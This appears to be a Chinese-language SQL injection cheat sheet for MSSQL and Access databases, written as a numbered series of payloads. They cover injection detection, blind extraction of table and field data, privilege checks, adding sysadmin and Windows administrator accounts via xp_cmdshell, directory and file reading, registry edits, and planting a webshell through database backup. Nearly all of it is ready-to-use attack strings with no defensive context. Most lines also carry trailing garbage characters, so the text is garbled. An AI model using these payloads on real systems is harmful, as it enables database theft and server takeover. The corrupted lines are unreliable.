1.判断是否有注入;and 1=1 ;and 1=2 5><T#0W?
2.初步判断是否是mssql ;and user>0 g&rz*)|/
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3.注入参数是字符'and [查询条件] and ''=' PsM8J
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' Z~]G+(
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5.判断数据库系统 p"0Dl9
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;and (select count(*) from sysobjects)>0 mssql Pq,iR J
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;and (select count(*) from msysobjects)>0 access
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 <k 'zz:[c!
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 S1#5oy2
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 7c!#e=W@B
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9.(1)猜字段的ascii值(access) ?}U?Q7vx@@
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ZgfhNI\
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(2)猜字段的ascii值(mssql) mD%IHzbn
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 sB5@6[VDI
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10.测试权限结构(mssql) P$.$M}rMv
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- qERJEyU?
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- <cxe
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- [6Q1yNE
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ]X> I(p@
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ,H_d#Koa.
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ;I*N%a TK
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;and 1=(select IS_MEMBER('db_owner'));-- yxi&80$
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11.添加mssql和系统的帐户 %Fx^"
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;exec master.dbo.sp_addlogin username;-- 0\Tp/Ph
;exec master.dbo.sp_password null,username,password;-- bB)$=7\
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- sN K^.0
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;exec master.dbo.xp_cmdshell 'net user username password cG&@PO]+.
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 2B^WZlx
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- !ST7@D
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- }$[@*
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12.(1)遍历目录 H^dw=kS
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;create table dirs(paths varchar(100), id int) hiv {A9a?
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;insert dirs exec master.dbo.xp_dirtree 'c:\' gjx-tp 1.
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;and (select top 1 paths from dirs)>0 xUNq!({T
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) /N#=Tol
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(2)遍历目录 zG{jRth
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- vz)R84
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 8llXpe
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 XpYd|BvW
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 K4]#X"
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 i6$HwRZm#
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13.mssql中的存储过程 Mp=T;Nz
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xp_regenumvalues 注册表根键, 子键 p]<)6sZ
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 _s<s14+od
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xp_regread 根键,子键,键值名 n 83Dt*O
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;exec xp_regread i8p$wf"aW
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 p1hF.
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xp_regwrite 根键,子键, 值名, 值类型, 值 VFMn"bYOB
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 X&h?1lMJ /
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 q[+h ~)
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xp_regdeletevalue 根键,子键,值名 ti$60Up
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 .C&kWM&j
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 $|7=$~y
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14.mssql的backup创建webshell !* KQ2#e
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use model ,0ilNi>
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create table cmd(str image); Jt#HbAY
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insert into cmd(str) values (''); @t@B(1T
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backup database model to disk='c:\l.asp'; CrSBN~
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15.mssql内置函数 uMpuS1
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;and (select @@version)>0 获得Windows的版本号 K:kb&W
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa c5uC?b].
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;and (select user_name())>0 爆当前系统的连接用户 O*bzp-6\
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;and (select db_name())>0 得到当前连接的数据库 b|@zjh;]A7
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16.简洁的webshell =
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use model ==gL!e{
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create table cmd(str image); r[T(R9k
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insert into cmd(str) values (''); aMxj{*v7
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backup database model to disk='g:\wwwtest\l.asp';